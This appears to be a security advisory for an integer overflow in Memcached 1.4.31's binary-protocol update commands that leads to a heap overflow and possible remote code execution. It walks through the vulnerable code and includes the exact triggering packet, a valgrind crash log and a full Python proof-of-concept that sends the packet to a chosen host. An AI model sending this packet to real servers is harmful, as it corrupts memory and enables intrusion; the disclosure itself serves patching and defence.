CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AI Score
Confidence
High
EPSS
Percentile
98.6%
Multiple integer overflows in process_bin_update function which is responsible for processing multiple commands of Memcached binary protocol can be abused to cause heap overflow and lead to remote code execution.
Memcached 1.4.31
9.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Memcached is a high performance object caching server intended for speeding up dynamic web applications and is used by some of the most popular Internet websites. It has two versions of the protocol for storing and retrieving arbitrary data, an ASCII based one and a binary one. The binary protocol is optimized for size.
An integer overflow can be triggered by issuing a command that adds or replaces an existing key-value pair. The affected commands are: Set (opcode 0x01), Add (opcode 0x02), Replace (opcode 0x03) , SetQ (opcode 0x11), AddQ (opcode 0x12) and ReplaceQ (opcode 0x13) which all call into process_bin_update
function.
While parsing a binary packet, the process ends up in the following switch case in memcached.c
:
case PROTOCOL_BINARY_CMD_SET: /* FALLTHROUGH */
case PROTOCOL_BINARY_CMD_ADD: /* FALLTHROUGH */
case PROTOCOL_BINARY_CMD_REPLACE:
if (extlen == 8 && keylen != 0 && bodylen >= (keylen + 8)) {
bin_read_key(c, bin_reading_set_header, 8);
} else {
protocol_error = 1;
}
If any of the set
,add
and replace
(or their quiet equivalents) is received a check is made before calling bin_read_key
. It should be noted that keylen
and bodylen
are of type int
and uint_32
respectively. In dispatch_bin_command
:
int extlen = c->binary_header.request.extlen;
int keylen = c->binary_header.request.keylen;
uint32_t bodylen = c->binary_header.request.bodylen;
This is the first condition that must hold in order to reach the vulnerability. After reading the key, the process ends up in process_bin_update
function where the integer overflow happens:
static void process_bin_update(conn *c) {
char *key;
int nkey; [1]
int vlen; [2]
item *it;
protocol_binary_request_set* req = binary_get_request(c);
assert(c != NULL);
key = binary_get_key(c);
nkey = c->binary_header.request.keylen;
/* fix byteorder in the request */
req->message.body.flags = ntohl(req->message.body.flags);
req->message.body.expiration = ntohl(req->message.body.expiration);
vlen = c->binary_header.request.bodylen - (nkey + c->binary_header.request.extlen); [3]
Notice that at [1] and [2] nkey
and vlen
are of type int
and recall that bodylen
is an unsigned integer. Because of the difference in signedness between bodylen
and vlen
an integer overflow can occur resulting in a negative value of vlen
at [3]. The first required check has passed because integer promotions work in our favor, but in the second case, the final value of the arithmetic expression at [3] (an unsigned value) gets assigned to a signed value. The value in vlen
is then used to allocate and store an item:
it = item_alloc(key, nkey, req->message.body.flags,
realtime(req->message.body.expiration), vlen+2);
Function item_alloc
is a wrapper around do_item_alloc
which allocates the memory for the item and copies the key:
...
size_t ntotal = item_make_header(nkey + 1, flags, nbytes, suffix, &nsuffix); [1]
...
it = slabs_alloc(ntotal, id, &total_bytes, 0); [2]
...
memcpy(ITEM_key(it), key, nkey); [3]
it->exptime = exptime;
memcpy(ITEM_suffix(it), suffix, (size_t)nsuffix);
it->nsuffix = nsuffix;
At [1], nkey
corresponds to the specified key length and nbytes
to the previously calculated vlen
value. At [2] the total resulting value is used as the size for allocation which ends up being too small to hold the key which leads to a heap buffer overflow at [3]. At the time of the overflow, the contents of nkey
and the contents of memory pointed to by key
are under direct control of the attacker.
The following packet has all the conditions necessary to trigger the vulnerability:
MEMCACHED_REQUEST_MAGIC = "\x80"
OPCODE_ADD = "\x02"
key_len = struct.pack("!H",0xfa)
extra_len = "\x08"
data_type = "\x00"
vbucket = "\x00\x00"
body_len = struct.pack("!I",0xffffffd0)
opaque = struct.pack("!I",0)
CAS = struct.pack("!Q",0)
extras_flags = 0xdeadbeef
extras_expiry = struct.pack("!I",0xe10)
body = "A"*1024
The value of extra_len
must be 0x8 as it is directly checked. The value of body_len
must be greater than key_len
when compared as unsigned integers, key_len
also has to be greater than 0. Other checks in the code constrain the value of body_len
required to trigger the vulnerability to the 0xFFFFFFF0-0xFFFFFFFF range.
The vulnerability can be triggered multiple times, and can be abused to modify internal slab metadata. As such, it can also be abused to cause information leaks required for successful exploitation.
Simply sending the above packet triggers the heap overflow but doesnβt cause a direct crash. In order to observe the issue, the server can be run under valgrind which then results in the following crash:
<30 new auto-negotiating client connection
30: going from conn_new_cmd to conn_waiting
30: going from conn_waiting to conn_read
30: going from conn_read to conn_parse_cmd
30: Client using the binary protocol
<30 Read binary protocol data:
<30 0x80 0x02 0x00 0xfa
<30 0x08 0x00 0x00 0x00
<30 0xff 0xff 0xff 0xd0
<30 0x00 0x00 0x00 0x00
<30 0x00 0x00 0x00 0x00
<30 0x00 0x00 0x00 0x00
30: going from conn_parse_cmd to conn_nread
<30 ADD AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Value len is -306
==32759== Thread 3:
==32759== Invalid write of size 4
==32759== at 0x402FCC2: memcpy (in /usr/lib/valgrind/vgpreload_memcheck-x86-linux.so)
==32759== by 0x8059CB9: do_item_alloc (items.c:240)
==32759== by 0x8050CBC: process_bin_update (memcached.c:2222)
==32759== by 0x8050CBC: complete_nread_binary (memcached.c:2427)
==32759== by 0x8050CBC: complete_nread (memcached.c:2484)
==32759== by 0x80540AE: drive_machine (memcached.c:4656)
==32759== by 0x40686B5: event_base_loop (in /usr/lib/libevent-2.0.so.5.1.9)
==32759== by 0x805B1B8: worker_libevent (thread.c:380)
==32759== by 0x40CB312: start_thread (pthread_create.c:310)
==32759== by 0x41DAF2D: clone (clone.S:122)
==32759== Address 0x459cc48 is 0 bytes after a block of size 1,048,560 alloc'd
==32759== at 0x402B211: malloc (in /usr/lib/valgrind/vgpreload_memcheck-x86-linux.so)
==32759== by 0x8056218: memory_allocate (slabs.c:538)
==32759== by 0x8056218: do_slabs_newslab (slabs.c:233)
==32759== by 0x8056295: do_slabs_alloc (slabs.c:328)
==32759== by 0x8056843: slabs_alloc (slabs.c:584)
==32759== by 0x8059B7D: do_item_alloc (items.c:180)
==32759== by 0x8050CBC: process_bin_update (memcached.c:2222)
==32759== by 0x8050CBC: complete_nread_binary (memcached.c:2427)
==32759== by 0x8050CBC: complete_nread (memcached.c:2484)
==32759== by 0x80540AE: drive_machine (memcached.c:4656)
==32759== by 0x40686B5: event_base_loop (in /usr/lib/libevent-2.0.so.5.1.9)
==32759== by 0x805B1B8: worker_libevent (thread.c:380)
==32759== by 0x40CB312: start_thread (pthread_create.c:310)
==32759== by 0x41DAF2D: clone (clone.S:122)
==32759==
import struct
import socket
import sys
MEMCACHED_REQUEST_MAGIC = "\x80"
OPCODE_ADD = "\x02"
key_len = struct.pack("!H",0xfa)
extra_len = "\x08"
data_type = "\x00"
vbucket = "\x00\x00"
body_len = struct.pack("!I",0xffffffd0)
opaque = struct.pack("!I",0)
CAS = struct.pack("!Q",0)
extras_flags = 0xdeadbeef
extras_expiry = struct.pack("!I",0xe10)
body = "A"*1024
packet = MEMCACHED_REQUEST_MAGIC + OPCODE_ADD + key_len + extra_len
packet += data_type + vbucket + body_len + opaque + CAS
packet += body
if len(sys.argv != 3):
print "./poc_add.py <server> <port>"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1],int(sys.argv[2])))
s.sendall(packet)
print s.recv(1024)
s.close()
2016-10-10 - Vendor Disclosure
2016-10-12 - Vendor Patched
2016-10-31 - Public Release
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AI Score
Confidence
High
EPSS
Percentile
98.6%